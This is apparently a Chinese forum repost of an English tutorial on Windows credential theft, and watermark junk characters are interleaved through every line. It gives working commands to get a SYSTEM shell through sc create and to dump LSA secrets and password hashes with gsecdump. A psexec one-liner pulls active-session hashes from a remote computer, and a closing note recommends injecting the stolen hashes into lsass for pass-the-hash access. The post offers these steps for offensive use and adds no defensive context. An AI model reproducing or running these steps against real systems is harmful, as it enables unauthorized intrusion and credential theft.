HASH注入式攻击

admin

o get a DOS Prompt as NT system:

2 Y4 `2 }& P+ ~+ u; }C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS

5 V/ W# ?8 E* |, V- b. @C:\>sc start shellcmdline
( s/ q$ v. r4 d6 j$ M# ?0 v[SC] StartService FAILED 1053:

, |% o4 x! O8 L! RThe service did not respond to the start or control request in a timely fashion.
9 |+ F! Q  Q. d* P
C:\>sc delete shellcmdline
/ u7 V) t; z) g; v2 d: s2 o1 I7 O[SC] DeleteService SUCCESS
5 G5 \* E3 L* v& |5 X
! v% h8 b$ D# w( Z* M* S# ^------------

' L. l" |  o' m3 kThen in the new DOS window:
/ e* I/ y8 G4 w' l1 Y7 Q( V+ b) x' k) L
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

, J, i0 ^3 `! h3 ~+ m/ hC:\WINDOWS\system32>whoami
( D0 ]+ a' f7 r- |! D$ O- A9 m8 iNT AUTHORITY\SYSTEM

+ L( N6 u/ w) W  X$ D/ |$ s. V6 FC:\WINDOWS\system32>gsecdump -h
/ _/ A5 m5 P! c% l5 e3 vgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
, r' U6 Q- i5 ]8 U4 M4 D# qusage: gsecdump [options]

0 w3 D3 p* p$ M$ E5 z! Goptions:
-h [ --help ] show help
2 U9 B$ I: b0 D: b4 q-a [ --dump_all ] dump all secrets
' u3 S1 [6 o, R-l [ --dump_lsa ] dump lsa secrets
* D5 [+ V8 E. }; `' B-w [ --dump_wireless ] dump microsoft wireless connections
" u, J  }5 K% M  l: S7 u! F8 Z-u [ --dump_usedhashes ] dump hashes from active logon sessions
( s: }. ~2 L& Z) S7 T-s [ --dump_hashes ] dump hashes from SAM/AD
1 @4 x7 V: Z& N1 C6 C; h
' V2 m7 |5 S1 U' w. h1 Q+ F6 y, nAlthough I like to use:

PsExec v1.83 - Execute processes remotely
, e! `9 F2 e" `; w+ F. o! K# V, aCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

! @1 @* L/ ?) X  |  a' _C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
2 Q4 L2 z9 t: t* j& ~
. y. H. ^) L6 Z: B2 G1 f5 @to get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
5 z3 T& m+ M# n+ C% a' B: K0 s
( x' X" h# d1 S: D- F+ h; b提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
* i8 q  A  x* B( L( K原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。